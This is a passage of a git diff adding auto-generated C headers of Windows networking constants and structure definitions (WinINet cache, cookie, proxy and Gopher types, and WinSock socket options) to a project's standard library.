0x40000000 +#define HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 0x40000000 +#define HTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 0x1000000 +#define HTTP_ADDREQ_FLAG_REPLACE 0x80000000 +#define AppCacheStateNoUpdateNeeded 0 +#define AppCacheStateUpdateNeeded 1 +#define AppCacheStateUpdateNeededNew 2 +#define AppCacheStateUpdateNeededMasterOnly 3 +#define GOPHER_TYPE_ASK 0x40000000 +#define GOPHER_TYPE_BINARY 0x200 +#define GOPHER_TYPE_BITMAP 0x4000 +#define GOPHER_TYPE_CALENDAR 0x80000 +#define GOPHER_TYPE_CSO 0x4 +#define GOPHER_TYPE_DIRECTORY 0x2 +#define GOPHER_TYPE_DOS_ARCHIVE 0x20 +#define GOPHER_TYPE_ERROR 0x8 +#define GOPHER_TYPE_GIF 0x1000 +#define GOPHER_TYPE_GOPHER_PLUS 0x80000000 +#define GOPHER_TYPE_HTML 0x20000 +#define GOPHER_TYPE_IMAGE 0x2000 +#define GOPHER_TYPE_INDEX_SERVER 0x80 +#define GOPHER_TYPE_INLINE 0x100000 +#define GOPHER_TYPE_MAC_BINHEX 0x10 +#define GOPHER_TYPE_MOVIE 0x8000 +#define GOPHER_TYPE_PDF 0x40000 +#define GOPHER_TYPE_REDUNDANT 0x400 +#define GOPHER_TYPE_SOUND 0x10000 +#define GOPHER_TYPE_TELNET 0x100 +#define GOPHER_TYPE_TEXT_FILE 0x1 +#define GOPHER_TYPE_TN3270 0x800 +#define GOPHER_TYPE_UNIX_UUENCODED 0x40 +#define GOPHER_TYPE_UNKNOWN 0x20000000 +#define INTERNET_STATE_CONNECTED 0x1 +#define INTERNET_STATE_DISCONNECTED 0x2 +#define INTERNET_STATE_DISCONNECTED_BY_USER 0x10 +#define INTERNET_STATE_IDLE 0x100 +#define INTERNET_STATE_BUSY 0x200 +#define CACHE_CONFIG_FORCE_CLEANUP_FC 0x20 +#define CACHE_CONFIG_DISK_CACHE_PATHS_FC 0x40 +#define CACHE_CONFIG_SYNC_MODE_FC 0x80 +#define CACHE_CONFIG_CONTENT_PATHS_FC 0x100 +#define CACHE_CONFIG_HISTORY_PATHS_FC 0x400 +#define CACHE_CONFIG_COOKIES_PATHS_FC 0x200 +#define CACHE_CONFIG_QUOTA_FC 0x800 +#define CACHE_CONFIG_USER_MODE_FC 0x1000 +#define CACHE_CONFIG_CONTENT_USAGE_FC 0x2000 +#define CACHE_CONFIG_STICKY_CONTENT_USAGE_FC 0x4000 +#define INTERNET_CONNECTION_CONFIGURED 0x40 +#define INTERNET_CONNECTION_LAN 0x2 +#define INTERNET_CONNECTION_MODEM 0x1 +#define INTERNET_CONNECTION_MODEM_BUSY 0x8 +#define INTERNET_CONNECTION_OFFLINE 0x20 +#define INTERNET_CONNECTION_PROXY 0x4 +#define INTERNET_RAS_INSTALLED 0x10 +#define FORTCMD_LOGON 1 +#define FORTCMD_LOGOFF 2 +#define FORTCMD_CHG_PERSONALITY 3 +#define WININET_SYNC_MODE_NEVER 0 +#define WININET_SYNC_MODE_ON_EXPIRY 1 +#define WININET_SYNC_MODE_ONCE_PER_SESSION 2 +#define WININET_SYNC_MODE_ALWAYS 3 +#define WININET_SYNC_MODE_AUTOMATIC 4 +#define WININET_SYNC_MODE_DEFAULT 4 +#define FTP_TRANSFER_TYPE_ASCII 0x1 +#define FTP_TRANSFER_TYPE_BINARY 0x2 +#define FTP_TRANSFER_TYPE_UNKNOWN 0x0 +#define INTERNET_FLAG_TRANSFER_ASCII 0x1 +#define INTERNET_FLAG_TRANSFER_BINARY 0x2 +#define HTTP_WEB_SOCKET_SEND_OPERATION 0 +#define HTTP_WEB_SOCKET_RECEIVE_OPERATION 1 +#define HTTP_WEB_SOCKET_CLOSE_OPERATION 2 +#define HTTP_WEB_SOCKET_SHUTDOWN_OPERATION 3 +#define POLICY_EXTENSION_TYPE_NONE 0 +#define POLICY_EXTENSION_TYPE_WINHTTP 1 +#define POLICY_EXTENSION_TYPE_WININET 2 +#define INTERNET_OPEN_TYPE_DIRECT 0x1 +#define INTERNET_OPEN_TYPE_PRECONFIG 0x0 +#define INTERNET_OPEN_TYPE_PROXY 0x3 +#define PROOF_OF_POSSESSION_DEFAULT 0x0 +#define PROOF_OF_POSSESSION_ALLOW_SILENT_REQUESTS 0x1 +#define PROXY_AUTO_DETECT_TYPE_DHCP 0x1 +#define PROXY_AUTO_DETECT_TYPE_DNS_A 0x2 +#define NameResolutionStart 0 +#define NameResolutionEnd 1 +#define ConnectionEstablishmentStart 2 +#define ConnectionEstablishmentEnd 3 +#define TLSHandshakeStart 4 +#define TLSHandshakeEnd 5 +#define HttpRequestTimeMax 32 +#define HttpPushWaitEnableComplete 0 +#define HttpPushWaitReceiveComplete 1 +#define HttpPushWaitSendComplete 2 +#define INTERNET_SCHEME_PARTIAL -2 +#define INTERNET_SCHEME_UNKNOWN -1 +#define INTERNET_SCHEME_DEFAULT 0 +#define INTERNET_SCHEME_FTP 1 +#define INTERNET_SCHEME_GOPHER 2 +#define INTERNET_SCHEME_HTTP 3 +#define INTERNET_SCHEME_HTTPS 4 +#define INTERNET_SCHEME_FILE 5 +#define INTERNET_SCHEME_NEWS 6 +#define INTERNET_SCHEME_MAILTO 7 +#define INTERNET_SCHEME_SOCKS 8 +#define INTERNET_SCHEME_JAVASCRIPT 9 +#define INTERNET_SCHEME_VBSCRIPT 10 +#define INTERNET_SCHEME_RES 11 +#define INTERNET_SCHEME_FIRST 1 +#define INTERNET_SCHEME_LAST 11 + +typedef struct _AutoProxyHelperVtbl { + long long IsResolvable; + long long GetIPAddress; + long long ResolveHostName; + long long IsInNet; + long long IsResolvableEx; + long long GetIPAddressEx; + long long ResolveHostNameEx; + long long IsInNetEx; + long long SortIpList; +} AutoProxyHelperVtbl; + +typedef struct _GOPHER_SCORE_ATTRIBUTE_TYPE { + int Score; +} GOPHER_SCORE_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_GEOGRAPHICAL_LOCATION_ATTRIBUTE_TYPE { + int DegreesNorth; + int MinutesNorth; + int SecondsNorth; + int DegreesEast; + int MinutesEast; + int SecondsEast; +} GOPHER_GEOGRAPHICAL_LOCATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_COOKIE { + unsigned int cbSize; + void* pszName; + void* pszData; + void* pszDomain; + void* pszPath; + void* pftExpires; + unsigned int dwFlags; + void* pszUrl; + void* pszP3PPolicy; +} INTERNET_COOKIE; + +typedef struct _GOPHER_ASK_ATTRIBUTE_TYPE { + void* QuestionType; + void* QuestionText; +} GOPHER_ASK_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_CONFIG_PATH_ENTRYA { + unsigned char CachePath[260]; + unsigned int dwCacheSize; +} INTERNET_CACHE_CONFIG_PATH_ENTRYA; + +typedef struct _GOPHER_TIMEZONE_ATTRIBUTE_TYPE { + int Zone; +} GOPHER_TIMEZONE_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_TIMESTAMPS { + void* ftExpires; + void* ftLastModified; +} INTERNET_CACHE_TIMESTAMPS; + +typedef struct _INTERNET_AUTH_NOTIFY_DATA { + unsigned int cbStruct; + unsigned int dwOptions; + void* pfnNotify; + unsigned long long dwContext; +} INTERNET_AUTH_NOTIFY_DATA; + +typedef struct _GOPHER_FIND_DATAA { + unsigned char DisplayString[129]; + void* GopherType; + unsigned int SizeLow; + unsigned int SizeHigh; + void* LastModificationTime; + unsigned char Locator[654]; +} GOPHER_FIND_DATAA; + +typedef struct _HTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgTimes[32]; +} HTTP_REQUEST_TIMES; + +typedef struct _INTERNET_CACHE_ENTRY_INFOW { + unsigned int dwStructSize; + void* lpszSourceUrlName; + void* lpszLocalFileName; + unsigned int CacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* LastModifiedTime; + void* ExpireTime; + void* LastAccessTime; + void* LastSyncTime; + void* lpHeaderInfo; + unsigned int dwHeaderInfoSize; + void* lpszFileExtension; + void* Anonymous; +} INTERNET_CACHE_ENTRY_INFOW; + +typedef struct _INTERNET_PER_CONN_OPTIONW { + void* dwOption; + void* Value; +} INTERNET_PER_CONN_OPTIONW; + +typedef struct _INTERNET_PER_CONN_OPTION_LISTW { + unsigned int dwSize; + void* pszConnection; + unsigned int dwOptionCount; + unsigned int dwOptionError; + void* pOptions; +} INTERNET_PER_CONN_OPTION_LISTW; + +typedef struct _GOPHER_PROVIDER_ATTRIBUTE_TYPE { + void* Provider; +} GOPHER_PROVIDER_ATTRIBUTE_TYPE; + +typedef struct _HTTP_PUSH_NOTIFICATION_STATUS { + BOOL ChannelStatusValid; + unsigned int ChannelStatus; +} HTTP_PUSH_NOTIFICATION_STATUS; + +typedef struct _COOKIE_DLG_INFO { + void* pszServer; + void* pic; + unsigned int dwStopWarning; + int cx; + int cy; + void* pszHeader; + unsigned int dwOperation; +} COOKIE_DLG_INFO; + +typedef struct _INTERNET_PER_CONN_OPTIONA { + void* dwOption; + void* Value; +} INTERNET_PER_CONN_OPTIONA; + +typedef struct _GOPHER_ADMIN_ATTRIBUTE_TYPE { + void* Comment; + void* EmailAddress; +} GOPHER_ADMIN_ATTRIBUTE_TYPE; + +typedef struct _WININET_PROXY_INFO { + BOOL fProxy; + BOOL fBypass; + void* ProxyScheme; + void* pwszProxy; + unsigned short ProxyPort; +} WININET_PROXY_INFO; + +typedef struct _INTERNET_END_BROWSER_SESSION_DATA { + void* lpBuffer; + unsigned int dwBufferLength; +} INTERNET_END_BROWSER_SESSION_DATA; + +typedef struct _INTERNET_DOWNLOAD_MODE_HANDLE { + void* pcwszFileName; + void* phFile; +} INTERNET_DOWNLOAD_MODE_HANDLE; + +typedef struct _INTERNET_DIAGNOSTIC_SOCKET_INFO { + unsigned long long Socket; + unsigned int SourcePort; + unsigned int DestPort; + unsigned int Flags; +} INTERNET_DIAGNOSTIC_SOCKET_INFO; + +typedef struct _IncomingCookieState { + int cSession; + int cPersistent; + int cAccepted; + int cLeashed; + int cDowngraded; + int cBlocked; + void* pszLocation; +} IncomingCookieState; + +typedef struct _GOPHER_VERONICA_ATTRIBUTE_TYPE { + BOOL TreeWalk; +} GOPHER_VERONICA_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_BUFFERSW { + unsigned int dwStructSize; + void* Next; + void* lpcszHeader; + unsigned int dwHeadersLength; + unsigned int dwHeadersTotal; + void* lpvBuffer; + unsigned int dwBufferLength; + unsigned int dwBufferTotal; + unsigned int dwOffsetLow; + unsigned int dwOffsetHigh; +} INTERNET_BUFFERSW; + +typedef struct _AutoProxyHelperFunctions { + void* lpVtbl; +} AutoProxyHelperFunctions; + +typedef struct _INTERNET_SECURITY_CONNECTION_INFO { + unsigned int dwSize; + BOOL fSecure; + void* connectionInfo; + void* cipherInfo; +} INTERNET_SECURITY_CONNECTION_INFO; + +typedef struct _URLCACHE_ENTRY_INFO { + void* pwszSourceUrlName; + void* pwszLocalFileName; + unsigned int dwCacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* ftLastModifiedTime; + void* ftExpireTime; + void* ftLastAccessTime; + void* ftLastSyncTime; + void* pbHeaderInfo; + unsigned int cbHeaderInfoSize; + void* pbExtraData; + unsigned int cbExtraDataSize; +} URLCACHE_ENTRY_INFO; + +typedef struct _INTERNET_CREDENTIALS { + void* lpcwszHostName; + unsigned int dwPort; + unsigned int dwScheme; + void* lpcwszUrl; + void* lpcwszRealm; + BOOL fAuthIdentity; + void* Anonymous; +} INTERNET_CREDENTIALS; + +typedef struct _INTERNET_CERTIFICATE_INFO { + void* ftExpiry; + void* ftStart; + void* lpszSubjectInfo; + void* lpszIssuerInfo; + void* lpszProtocolName; + void* lpszSignatureAlgName; + void* lpszEncryptionAlgName; + unsigned int dwKeySize; +} INTERNET_CERTIFICATE_INFO; + +typedef struct _INTERNET_CACHE_CONTAINER_INFOA { + unsigned int dwCacheVersion; + void* lpszName; + void* lpszCachePrefix; + void* lpszVolumeLabel; + void* lpszVolumeTitle; +} INTERNET_CACHE_CONTAINER_INFOA; + +typedef struct _INTERNET_VERSION_INFO { + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; +} INTERNET_VERSION_INFO; + +typedef struct _URL_COMPONENTSA { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTSA; + +typedef struct _APP_CACHE_DOWNLOAD_ENTRY { + void* pwszUrl; + unsigned int dwEntryType; +} APP_CACHE_DOWNLOAD_ENTRY; + +typedef struct _INTERNET_CACHE_CONFIG_PATH_ENTRYW { + unsigned short CachePath[260]; + unsigned int dwCacheSize; +} INTERNET_CACHE_CONFIG_PATH_ENTRYW; + +typedef struct _HTTP_WEB_SOCKET_ASYNC_RESULT { + void* AsyncResult; + void* Operation; + void* BufferType; + unsigned int dwBytesTransferred; +} HTTP_WEB_SOCKET_ASYNC_RESULT; + +typedef struct _GOPHER_ABSTRACT_ATTRIBUTE_TYPE { + void* ShortAbstract; + void* AbstractFile; +} GOPHER_ABSTRACT_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_SECURITY_INFO { + unsigned int dwSize; + void* pCertificate; + void* pcCertChain; + void* connectionInfo; + void* cipherInfo; + void* pcUnverifiedCertChain; + void* channelBindingToken; +} INTERNET_SECURITY_INFO; + +typedef struct _InternetCookieHistory { + BOOL fAccepted; + BOOL fLeashed; + BOOL fDowngraded; + BOOL fRejected; +} InternetCookieHistory; + +typedef struct _GOPHER_VIEW_ATTRIBUTE_TYPE { + void* ContentType; + void* Language; + unsigned int Size; +} GOPHER_VIEW_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_CONTAINER_INFOW { + unsigned int dwCacheVersion; + void* lpszName; + void* lpszCachePrefix; + void* lpszVolumeLabel; + void* lpszVolumeTitle; +} INTERNET_CACHE_CONTAINER_INFOW; + +typedef struct _INTERNET_ASYNC_RESULT { + unsigned long long dwResult; + unsigned int dwError; +} INTERNET_ASYNC_RESULT; + +typedef struct _GOPHER_LOCATION_ATTRIBUTE_TYPE { + void* Location; +} GOPHER_LOCATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_GROUP_INFOW { + unsigned int dwGroupSize; + unsigned int dwGroupFlags; + unsigned int dwGroupType; + unsigned int dwDiskUsage; + unsigned int dwDiskQuota; + unsigned int dwOwnerStorage[4]; + unsigned short szGroupName[120]; +} INTERNET_CACHE_GROUP_INFOW; + +typedef struct _GOPHER_MOD_DATE_ATTRIBUTE_TYPE { + void* DateAndTime; +} GOPHER_MOD_DATE_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CONNECTED_INFO { + void* dwConnectedState; + unsigned int dwFlags; +} INTERNET_CONNECTED_INFO; + +typedef struct _OutgoingCookieState { + int cSent; + int cSuppressed; + void* pszLocation; +} OutgoingCookieState; + +typedef struct _INTERNET_CACHE_GROUP_INFOA { + unsigned int dwGroupSize; + unsigned int dwGroupFlags; + unsigned int dwGroupType; + unsigned int dwDiskUsage; + unsigned int dwDiskQuota; + unsigned int dwOwnerStorage[4]; + unsigned char szGroupName[120]; +} INTERNET_CACHE_GROUP_INFOA; + +typedef struct _HTTP_PUSH_WAIT_HANDLE { + void* Value; +} HTTP_PUSH_WAIT_HANDLE; + +typedef struct _GOPHER_UNKNOWN_ATTRIBUTE_TYPE { + void* Text; +} GOPHER_UNKNOWN_ATTRIBUTE_TYPE; + +typedef struct _CookieDecision { + unsigned int dwCookieState; + BOOL fAllowSession; +} CookieDecision; + +typedef struct _GOPHER_ORGANIZATION_ATTRIBUTE_TYPE { + void* Organization; +} GOPHER_ORGANIZATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_SERVER_CONNECTION_STATE { + void* lpcwszHostName; + BOOL fProxy; + unsigned int dwCounter; + unsigned int dwConnectionLimit; + unsigned int dwAvailableCreates; + unsigned int dwAvailableKeepAlives; + unsigned int dwActiveConnections; + unsigned int dwWaiters; +} INTERNET_SERVER_CONNECTION_STATE; + +typedef struct _WININET_PROXY_INFO_LIST { + unsigned int dwProxyInfoCount; + void* pProxyInfo; +} WININET_PROXY_INFO_LIST; + +typedef struct _APP_CACHE_GROUP_INFO { + void* pwszManifestUrl; + void* ftLastAccessTime; + unsigned long long ullSize; +} APP_CACHE_GROUP_INFO; + +typedef struct _INTERNET_PREFETCH_STATUS { + unsigned int dwStatus; + unsigned int dwSize; +} INTERNET_PREFETCH_STATUS; + +typedef struct _GOPHER_VERSION_ATTRIBUTE_TYPE { + void* Version; +} GOPHER_VERSION_ATTRIBUTE_TYPE; + +typedef struct _AUTO_PROXY_SCRIPT_BUFFER { + unsigned int dwStructSize; + void* lpszScriptBuffer; + unsigned int dwScriptBufferSize; +} AUTO_PROXY_SCRIPT_BUFFER; + +typedef struct _INTERNET_BUFFERSA { + unsigned int dwStructSize; + void* Next; + void* lpcszHeader; + unsigned int dwHeadersLength; + unsigned int dwHeadersTotal; + void* lpvBuffer; + unsigned int dwBufferLength; + unsigned int dwBufferTotal; + unsigned int dwOffsetLow; + unsigned int dwOffsetHigh; +} INTERNET_BUFFERSA; + +typedef struct _INTERNET_COOKIE2 { + void* pwszName; + void* pwszValue; + void* pwszDomain; + void* pwszPath; + unsigned int dwFlags; + void* ftExpires; + BOOL fExpiresSet; +} INTERNET_COOKIE2; + +typedef struct _INTERNET_CACHE_CONFIG_INFOA { + unsigned int dwStructSize; + unsigned int dwContainer; + unsigned int dwQuota; + unsigned int dwReserved4; + BOOL fPerUser; + unsigned int dwSyncMode; + unsigned int dwNumCachePaths; + void* Anonymous; + unsigned int dwNormalUsage; + unsigned int dwExemptUsage; +} INTERNET_CACHE_CONFIG_INFOA; + +typedef struct _GOPHER_ATTRIBUTE_TYPE { + unsigned int CategoryId; + unsigned int AttributeId; + void* AttributeType; +} GOPHER_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_SCORE_RANGE_ATTRIBUTE_TYPE { + int LowerBound; + int UpperBound; +} GOPHER_SCORE_RANGE_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_TTL_ATTRIBUTE_TYPE { + unsigned int Ttl; +} GOPHER_TTL_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_PROXY_INFO { + void* dwAccessType; + void* lpszProxy; + void* lpszProxyBypass; +} INTERNET_PROXY_INFO; + +// SKIPPED struct ProofOfPossessionCookieInfoManager: no representable fields +typedef struct _ProofOfPossessionCookieInfo { + void* name; + void* data; + unsigned int flags; + void* p3pHeader; +} ProofOfPossessionCookieInfo; + +typedef struct _GOPHER_SITE_ATTRIBUTE_TYPE { + void* Site; +} GOPHER_SITE_ATTRIBUTE_TYPE; + +typedef struct _HTTP_PUSH_TRANSPORT_SETTING { + void* TransportSettingId; + void* BrokerEventId; +} HTTP_PUSH_TRANSPORT_SETTING; + +typedef struct _INTERNET_CACHE_ENTRY_INFOA { + unsigned int dwStructSize; + void* lpszSourceUrlName; + void* lpszLocalFileName; + unsigned int CacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* LastModifiedTime; + void* ExpireTime; + void* LastAccessTime; + void* LastSyncTime; + void* lpHeaderInfo; + unsigned int dwHeaderInfoSize; + void* lpszFileExtension; + void* Anonymous; +} INTERNET_CACHE_ENTRY_INFOA; + +typedef struct _INTERNET_CACHE_CONFIG_INFOW { + unsigned int dwStructSize; + unsigned int dwContainer; + unsigned int dwQuota; + unsigned int dwReserved4; + BOOL fPerUser; + unsigned int dwSyncMode; + unsigned int dwNumCachePaths; + void* Anonymous; + unsigned int dwNormalUsage; + unsigned int dwExemptUsage; +} INTERNET_CACHE_CONFIG_INFOW; + +typedef struct _APP_CACHE_DOWNLOAD_LIST { + unsigned int dwEntryCount; + void* pEntries; +} APP_CACHE_DOWNLOAD_LIST; + +typedef struct _INTERNET_CALLBACK_COOKIE { + void* pcwszName; + void* pcwszValue; + void* pcwszDomain; + void* pcwszPath; + void* ftExpires; + unsigned int dwFlags; +} INTERNET_CALLBACK_COOKIE; + +typedef struct _GOPHER_FIND_DATAW { + unsigned short DisplayString[129]; + void* GopherType; + unsigned int SizeLow; + unsigned int SizeHigh; + void* LastModificationTime; + unsigned short Locator[654]; +} GOPHER_FIND_DATAW; + +typedef struct _URL_COMPONENTSW { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTSW; + +typedef struct _APP_CACHE_GROUP_LIST { + unsigned int dwAppCacheGroupCount; + void* pAppCacheGroups; +} APP_CACHE_GROUP_LIST; + +typedef struct _INTERNET_PER_CONN_OPTION_LISTA { + unsigned int dwSize; + void* pszConnection; + unsigned int dwOptionCount; + unsigned int dwOptionError; + void* pOptions; +} INTERNET_PER_CONN_OPTION_LISTA; + diff --git a/stdlib/win32/winsock.h b/stdlib/win32/winsock.h new file mode 100644 index 0000000..d5ace8b --- /dev/null +++ b/stdlib/win32/winsock.h @@ -0,0 +1,3673 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinSock`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SIO_RCVALL 0x98000001 +#define SIO_RCVALL_MCAST 0x98000002 +#define SIO_RCVALL_IGMPMCAST 0x98000003 +#define SIO_KEEPALIVE_VALS 0x98000004 +#define SIO_ABSORB_RTRALERT 0x98000005 +#define SIO_UCAST_IF 0x98000006 +#define SIO_LIMIT_BROADCASTS 0x98000007 +#define SIO_INDEX_BIND 0x98000008 +#define SIO_INDEX_MCASTIF 0x98000009 +#define SIO_INDEX_ADD_MCAST 0x9800000a +#define SIO_INDEX_DEL_MCAST 0x9800000b +#define SIO_RCVALL_MCAST_IF 0x9800000d +#define SIO_RCVALL_IF 0x9800000e +#define SIO_LOOPBACK_FAST_PATH 0x98000010 +#define SIO_TCP_INITIAL_RTO 0x98000011 +#define SIO_APPLY_TRANSPORT_SETTING 0x98000013 +#define SIO_QUERY_TRANSPORT_SETTING 0x98000014 +#define SIO_TCP_SET_ICW 0x98000016 +#define SIO_TCP_SET_ACK_FREQUENCY 0x98000017 +#define SIO_SET_PRIORITY_HINT 0x98000018 +#define SIO_PRIORITY_HINT 0x98000018 +#define SIO_TCP_INFO 0xd8000027 +#define SIO_CPU_AFFINITY 0x98000015 +#define SIO_TIMESTAMPING 0x980000eb +#define TIMESTAMPING_FLAG_RX 0x1 +#define TIMESTAMPING_FLAG_TX 0x2 +#define SO_TIMESTAMP 0x300a +#define SO_TIMESTAMP_ID 0x300b +#define SIO_GET_TX_TIMESTAMP 0x980000ea +#define TCP_INITIAL_RTO_UNSPECIFIED_MAX_SYN_RETRANSMISSIONS 0xffff +#define TCP_INITIAL_RTO_DEFAULT_RTT 0x0 +#define TCP_INITIAL_RTO_DEFAULT_MAX_SYN_RETRANSMISSIONS 0x0 +#define TCP_INITIAL_RTO_NO_SYN_RETRANSMISSIONS 0xfffe +#define SIO_ACQUIRE_PORT_RESERVATION 0x98000064 +#define SIO_RELEASE_PORT_RESERVATION 0x98000065 +#define SIO_ASSOCIATE_PORT_RESERVATION 0x98000066 +#define SIO_SET_SECURITY 0x980000c8 +#define SIO_QUERY_SECURITY 0xd80000c9 +#define SIO_SET_PEER_TARGET_NAME 0x980000ca +#define SIO_DELETE_PEER_TARGET_NAME 0x980000cb +#define SIO_QUERY_WFP_CONNECTION_REDIRECT_RECORDS 0x980000dc +#define SIO_QUERY_WFP_CONNECTION_REDIRECT_CONTEXT 0x980000dd +#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000de +#define SIO_SOCKET_USAGE_NOTIFICATION 0x980000cc +#define SOCKET_SETTINGS_GUARANTEE_ENCRYPTION 0x1 +#define SOCKET_SETTINGS_ALLOW_INSECURE 0x2 +#define SOCKET_SETTINGS_IPSEC_SKIP_FILTER_INSTANTIATION 0x1 +#define SOCKET_SETTINGS_IPSEC_OPTIONAL_PEER_NAME_VERIFICATION 0x2 +#define SOCKET_SETTINGS_IPSEC_ALLOW_FIRST_INBOUND_PKT_UNENCRYPTED 0x4 +#define SOCKET_SETTINGS_IPSEC_PEER_NAME_IS_RAW_FORMAT 0x8 +#define SOCKET_QUERY_IPSEC2_ABORT_CONNECTION_ON_FIELD_CHANGE 0x1 +#define SOCKET_QUERY_IPSEC2_FIELD_MASK_MM_SA_ID 0x1 +#define SOCKET_QUERY_IPSEC2_FIELD_MASK_QM_SA_ID 0x2 +#define SOCKET_INFO_CONNECTION_SECURED 0x1 +#define SOCKET_INFO_CONNECTION_ENCRYPTED 0x2 +#define SOCKET_INFO_CONNECTION_IMPERSONATED 0x4 +#define SIO_QUERY_WFP_ALE_ENDPOINT_HANDLE 0x580000cd +#define SIO_QUERY_RSS_SCALABILITY_INFO 0x580000d2 +#define IN4ADDR_ANY 0x0 +#define IN4ADDR_LOOPBACK 0x100007f +#define IN4ADDR_BROADCAST 0xffffffff +#define IN4ADDR_LOOPBACKPREFIX_LENGTH 0x8 +#define IN4ADDR_LINKLOCALPREFIX_LENGTH 0x10 +#define IN4ADDR_MULTICASTPREFIX_LENGTH 0x4 +#define SIO_SET_COMPATIBILITY_MODE 0x9800012c +#define RIO_MSG_DONT_NOTIFY 0x1 +#define RIO_MSG_DEFER 0x2 +#define RIO_MSG_WAITALL 0x4 +#define RIO_MSG_COMMIT_ONLY 0x8 +#define RIO_MAX_CQ_SIZE 0x8000000 +#define RIO_CORRUPT_CQ 0xffffffff +#define AF_UNIX 0x1 +#define AF_IMPLINK 0x3 +#define AF_PUP 0x4 +#define AF_CHAOS 0x5 +#define AF_NS 0x6 +#define AF_IPX 0x6 +#define AF_ISO 0x7 +#define AF_OSI 0x7 +#define AF_ECMA 0x8 +#define AF_DATAKIT 0x9 +#define AF_CCITT 0xa +#define AF_SNA 0xb +#define AF_DECnet 0xc +#define AF_DLI 0xd +#define AF_LAT 0xe +#define AF_HYLINK 0xf +#define AF_APPLETALK 0x10 +#define AF_NETBIOS 0x11 +#define AF_VOICEVIEW 0x12 +#define AF_FIREFOX 0x13 +#define AF_UNKNOWN1 0x14 +#define AF_BAN 0x15 +#define AF_ATM 0x16 +#define AF_CLUSTER 0x18 +#define AF_12844 0x19 +#define AF_IRDA 0x1a +#define AF_NETDES 0x1c +#define AF_MAX 0x1d +#define AF_TCNPROCESS 0x1d +#define AF_TCNMESSAGE 0x1e +#define AF_ICLFXBM 0x1f +#define AF_LINK 0x21 +#define AF_HYPERV 0x22 +#define SOL_SOCKET 65535 +#define SOL_IP 0xfffb +#define SOL_IPV6 0xfffa +#define SO_DEBUG 1 +#define SO_ACCEPTCONN 2 +#define SO_REUSEADDR 4 +#define SO_KEEPALIVE 8 +#define SO_DONTROUTE 16 +#define SO_BROADCAST 32 +#define SO_USELOOPBACK 64 +#define SO_LINGER 128 +#define SO_OOBINLINE 256 +#define SO_SNDBUF 4097 +#define SO_RCVBUF 4098 +#define SO_SNDLOWAT 4099 +#define SO_RCVLOWAT 4100 +#define SO_SNDTIMEO 4101 +#define SO_RCVTIMEO 4102 +#define SO_ERROR 4103 +#define SO_TYPE 4104 +#define SO_BSP_STATE 4105 +#define SO_GROUP_ID 8193 +#define SO_GROUP_PRIORITY 8194 +#define SO_MAX_MSG_SIZE 8195 +#define SO_CONDITIONAL_ACCEPT 12290 +#define SO_PAUSE_ACCEPT 0x3003 +#define SO_COMPARTMENT_ID 0x3004 +#define SO_RANDOMIZE_PORT 12293 +#define SO_PORT_SCALABILITY 12294 +#define SO_REUSE_UNICASTPORT 12295 +#define SO_REUSE_MULTICASTPORT 12296 +#define SO_ORIGINAL_DST 0x300f +#define IP6T_SO_ORIGINAL_DST 0x300f +#define SO_RECEIVED_HOPLIMIT 0x3010 +#define SO_RECEIVED_PROCESSOR 0x3011 +#define WSK_SO_BASE 0x4000 +#define TCP_NODELAY 1 +#define _SS_MAXSIZE 0x80 +#define IOC_UNIX 0x0 +#define IOC_WS2 0x8000000 +#define IOC_PROTOCOL 0x10000000 +#define IOC_VENDOR 0x18000000 +#define SIO_ASSOCIATE_HANDLE 0x88000001 +#define SIO_ENABLE_CIRCULAR_QUEUEING 0x28000002 +#define SIO_FIND_ROUTE 0x48000003 +#define SIO_FLUSH 0x28000004 +#define SIO_GET_BROADCAST_ADDRESS 0x48000005 +#define SIO_GET_EXTENSION_FUNCTION_POINTER 0xc8000006 +#define SIO_GET_QOS 0xc8000007 +#define SIO_GET_GROUP_QOS 0xc8000008 +#define SIO_MULTIPOINT_LOOPBACK 0x88000009 +#define SIO_MULTICAST_SCOPE 0x8800000a +#define SIO_SET_QOS 0x8800000b +#define SIO_SET_GROUP_QOS 0x8800000c +#define SIO_TRANSLATE_HANDLE 0xc800000d +#define SIO_ROUTING_INTERFACE_QUERY 0xc8000014 